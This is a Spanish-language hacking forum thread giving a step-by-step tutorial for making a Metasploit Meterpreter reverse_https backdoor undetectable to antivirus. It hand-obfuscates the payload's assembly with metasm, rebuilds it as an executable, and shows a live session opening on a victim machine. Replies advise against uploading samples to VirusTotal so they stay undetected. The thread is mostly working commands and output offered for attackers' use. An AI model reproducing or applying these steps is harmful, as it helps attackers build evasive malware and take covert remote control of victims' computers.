Metasploit + Metasm (Ghost Writing ASM) para crear un backdoor indetectable

Iniciado por Aryenal.Bt, Noviembre 12, 2012, 02:32:55 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Normalmente crear un backdoor con Metasploit es sinónimo de detección por parte de la mayoría de AV, incluso utilizando el encoder polimórfico shikata_ga_nai.

El siguiente método que vamos a ver en esta entrada se denomina Assembly Ghost writing y consiste en modificar un binario malicioso reescribiendo el código ensamblador del payload del exploit generado con Metasploit.

El resultado es un fichero FUD (completamente indetectable), o al menos con un ratio bajo de detección, por medio del cual un atacante podría obtener una sesión en la máquina de la víctima de forma silenciosa.

En nuestras pruebas utilizaremos BT5R3 con metasploit v4.5.0-dev (atacante) y Win7 con AV McAfee (víctima). El procedimiento es muy sencillo:

1º Creamos el ejecutable malicioso en formato con msfpayload.

Código: php
root@bt:/home/pruebas# msfpayload windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 R > binario.raw
root@bt:/home/pruebas# file binario.raw
binario.raw: data


2º Preparamos metasm (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)

Código: php
root@bt:/home/pruebas# cd /opt/metasploit/msf3/lib/metasm
root@bt:/opt/metasploit/msf3/lib/metasm# cp -a metasm.rb metasm /usr/lib/ruby/1.9.2


3º Desensamblamos el fichero binario:

root@bt:/home/pruebas# ruby /opt/metasploit/msf3/lib/metasm/samples/disassemble.rb raw_binary > codigo.asm

4º Ofuscamos manualmente el código, desde esto:

Código: php
// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                           ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]                ; @18h  0fb74a26  r2:unknown
    xor edi, edi                                 ; @1ch  31ff


a esto:

Código: php
// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]        ; @18h  0fb74a26  r2:unknown
    mov edi, ecx                ; Move the contents of the ECX register into the EDI Register
    push edi                    ; Push the EDI register onto the current stack frame
    pop edi                    ; Pop it back off
    mov edi, ecx                ; Mov ECX back into edi
    xor ecx, ecx                ; Zero out the contents of the ECX register
    mov ecx, edi                ; Mov EDI back into ECX
    xor edi, edi                ; @1ch


y añadimos al principio del fichero:

Código: php
.section '.text' rwx
.entrypoint


5º Construimos el ejecutable y lo empaqueamos a un formato que Windows pueda ejecutar:

Código: php
root@bt:/home/pruebas# ruby /opt/metasploit/msf3/lib/metasm/samples/peencode.rb codigo.asm -o carga.exe
saved to file "carga.exe"
root@bt:/home/pruebas# file carga.exe
carga.exe: MS-DOS executable, MZ for MS-DOS


6º Lanzamos la consola de Metasploit con el multi/handler:

Código: php
root@bt:/home/pruebas# msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_https LHOST=192.168.249.128 LPORT=443 E
[*] Please wait while we load the module tree...

_                                                      _
/  \  / \        __                          _   __    /_/ __
| |\ /  | _____  \ \            ___   _____ | | /   \  _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | | | |  || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | |_ \__/ | |  | |_
      |/  |____/  \___\/ /\  \___/   \/      \__|     |_\  \___\


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

[-] The value specified for PAYLOAD is not valid.
LHOST => 192.168.249.128
LPORT => 443
[*] Started reverse handler on 192.168.249.128:443
[*] Starting the payload handler...


7º Y finalmente ejecutamos carga.exe en el equipo Windows:

Código: php
[*] Sending stage (752128 bytes) to 192.168.249.1
[*] Meterpreter session 1 opened (192.168.249.128:443 -> 192.168.249.1:54402) at 2012-11-08 10:44:00 -0500
meterpreter > getuid
Server username: PANDORA\vmotos
meterpreter >


Fuente: hackplayers


Noviembre 13, 2012, 10:06:14 PM #2 Ultima modificación: Abril 22, 2019, 02:16:23 PM por PlhaOGEOYceXkhd9rlYxJGzedkbolnxpnReqRiTk47d6JgDTRu
:)


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
:'( pero tenia ke ver si funcionaba poh wn!!
a la proxima que quieras saber que AV detecta a algo utiliza No tienes permitido ver los links. Registrarse o Entrar a mi cuenta u otro analizador online que no envie muestras a los AV, cuando escaneastes el .exe en Virustotal, lo que haces indiectamente enviaste muestras a toda la lista de AV's que estan en Virus Total. :'(

waaaaaaaa :( asesinaste este sencillo metodo de indetectar ;( NO ANALIZAR EN VIRUS TOTAL, Es algo que paso a ser una REGLA DE ORO en este mundo en los ultimos 3 años...





no hizo falta escanearlo, en cuanto pase el ejecutable a mi maquina virtual el avira lo detecto como: TR/Crypt.XPACK.Gen